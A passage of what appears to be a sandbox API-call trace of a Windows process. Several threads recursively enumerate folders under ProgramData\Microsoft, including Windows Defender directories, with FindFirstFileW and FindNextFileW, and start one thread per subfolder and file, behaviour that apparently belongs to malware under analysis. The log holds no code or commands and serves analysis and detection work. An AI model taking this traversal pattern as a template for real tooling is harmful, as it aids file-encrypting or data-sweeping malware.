_Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.803] wcscat (in: _Dest=0x33e2de0, _Source="Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0072.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0072.803] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Features", cAlternateFileName="")) returned 1 [0072.803] wcscmp (_String1="Features", _String2=".") returned 1 [0072.804] wcscmp (_String1="Features", _String2="..") returned 1 [0072.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x347a000 [0072.804] wcscpy (in: _Dest=0x347a000, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.804] wcscat (in: _Dest=0x347a000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.804] wcscat (in: _Dest=0x347a000, _Source="Features" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" [0072.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347a000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0072.804] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0072.804] wcscmp (_String1="LocalCopy", _String2=".") returned 1 [0072.804] wcscmp (_String1="LocalCopy", _String2="..") returned 1 [0072.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0072.804] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.805] wcscat (in: _Dest=0x3479a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.805] wcscat (in: _Dest=0x3479a60, _Source="LocalCopy" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" [0072.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0072.806] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1 [0072.806] wcscmp (_String1="Network Inspection System", _String2=".") returned 1 [0072.807] wcscmp (_String1="Network Inspection System", _String2="..") returned 1 [0072.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347b9a8 [0072.807] wcscpy (in: _Dest=0x347b9a8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.807] wcscat (in: _Dest=0x347b9a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.807] wcscat (in: _Dest=0x347b9a8, _Source="Network Inspection System" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" [0072.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347b9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0072.807] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Platform", cAlternateFileName="")) returned 1 [0072.807] wcscmp (_String1="Platform", _String2=".") returned 1 [0072.807] wcscmp (_String1="Platform", _String2="..") returned 1 [0072.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x34798f8 [0072.807] wcscpy (in: _Dest=0x34798f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.808] wcscat (in: _Dest=0x34798f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.808] wcscat (in: _Dest=0x34798f8, _Source="Platform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" [0072.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34798f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0072.808] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0072.808] wcscmp (_String1="Quarantine", _String2=".") returned 1 [0072.808] wcscmp (_String1="Quarantine", _String2="..") returned 1 [0072.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccff0 [0072.808] wcscpy (in: _Dest=0x33ccff0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.808] wcscat (in: _Dest=0x33ccff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.808] wcscat (in: _Dest=0x33ccff0, _Source="Quarantine" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" [0072.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ccff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0072.809] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0072.809] wcscmp (_String1="Scans", _String2=".") returned 1 [0072.809] wcscmp (_String1="Scans", _String2="..") returned 1 [0072.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e1f0 [0072.809] wcscpy (in: _Dest=0x347e1f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.809] wcscat (in: _Dest=0x347e1f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.809] wcscat (in: _Dest=0x347e1f0, _Source="Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0072.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0072.810] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0072.810] wcscmp (_String1="Support", _String2=".") returned 1 [0072.810] wcscmp (_String1="Support", _String2="..") returned 1 [0072.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0072.810] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.810] wcscat (in: _Dest=0x3479ad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.810] wcscat (in: _Dest=0x3479ad8, _Source="Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" [0072.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0072.811] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0072.811] FindClose (in: hFindFile=0x3433c28 | out: hFindFile=0x3433c28) returned 1 [0072.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0b68) returned 1 [0072.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34271a0) returned 1 [0072.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426e60) returned 1 [0072.812] RtlExitUserThread (Status=0x0) Thread: id = 523 os_tid = 0x13f0 [0072.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb1d0 [0072.332] wcscpy (in: _Dest=0x33eb1d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0072.332] wcscat (in: _Dest=0x33eb1d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0072.332] wcscat (in: _Dest=0x33eb1d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*" [0072.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0dd0 [0072.332] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x33f0dd0 | out: lpFindFileData=0x33f0dd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ce8 [0072.333] wcscmp (_String1=".", _String2=".") returned 0 [0072.333] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x33f0dd0 | out: lpFindFileData=0x33f0dd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.333] wcscmp (_String1="..", _String2=".") returned 1 [0072.333] wcscmp (_String1="..", _String2="..") returned 0 [0072.333] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x33f0dd0 | out: lpFindFileData=0x33f0dd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a9166d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0072.333] wcscmp (_String1="Cache", _String2=".") returned 1 [0072.333] wcscmp (_String1="Cache", _String2="..") returned 1 [0072.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6138 [0072.333] wcscpy (in: _Dest=0x33e6138, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0072.333] wcscat (in: _Dest=0x33e6138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0072.333] wcscat (in: _Dest=0x33e6138, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" [0072.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0072.800] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x33f0dd0 | out: lpFindFileData=0x33f0dd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0072.800] wcscmp (_String1="Temp", _String2=".") returned 1 [0072.800] wcscmp (_String1="Temp", _String2="..") returned 1 [0072.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6918 [0072.800] wcscpy (in: _Dest=0x33e6918, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0072.800] wcscat (in: _Dest=0x33e6918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0072.800] wcscat (in: _Dest=0x33e6918, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" [0072.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0072.801] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x33f0dd0 | out: lpFindFileData=0x33f0dd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0072.801] FindClose (in: hFindFile=0x3433ce8 | out: hFindFile=0x3433ce8) returned 1 [0072.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0dd0) returned 1 [0072.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb1d0) returned 1 [0072.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb630) returned 1 [0072.801] RtlExitUserThread (Status=0x0) Thread: id = 524 os_tid = 0x13f4 [0072.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3480060 [0072.334] wcscpy (in: _Dest=0x3480060, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0072.334] wcscat (in: _Dest=0x3480060, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\" [0072.334] wcscat (in: _Dest=0x3480060, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\*" [0072.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eeea8 [0072.334] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\*", lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0072.335] wcscmp (_String1=".", _String2=".") returned 0 [0072.335] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.335] wcscmp (_String1="..", _String2=".") returned 1 [0072.335] wcscmp (_String1="..", _String2="..") returned 0 [0072.335] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a996721, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 1 [0072.335] wcscmp (_String1="WLive48x48.png", _String2=".") returned 1 [0072.335] wcscmp (_String1="WLive48x48.png", _String2="..") returned 1 [0072.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccef0 [0072.335] wcscpy (in: _Dest=0x33ccef0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0072.335] wcscat (in: _Dest=0x33ccef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\" [0072.335] wcscat (in: _Dest=0x33ccef0, _Source="WLive48x48.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" [0072.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0072.798] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x33eeea8 | out: lpFindFileData=0x33eeea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a996721, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 0 [0072.798] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0072.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eeea8) returned 1 [0072.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480060) returned 1 [0072.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34803c0) returned 1 [0072.799] RtlExitUserThread (Status=0x0) Thread: id = 525 os_tid = 0x13f8 [0072.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x34800c0 [0072.336] wcscpy (in: _Dest=0x34800c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0072.336] wcscat (in: _Dest=0x34800c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0072.336] wcscat (in: _Dest=0x34800c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" [0072.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed698 [0072.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0072.336] wcscmp (_String1=".", _String2=".") returned 0 [0072.336] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.336] wcscmp (_String1="..", _String2=".") returned 1 [0072.336] wcscmp (_String1="..", _String2="..") returned 0 [0072.336] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 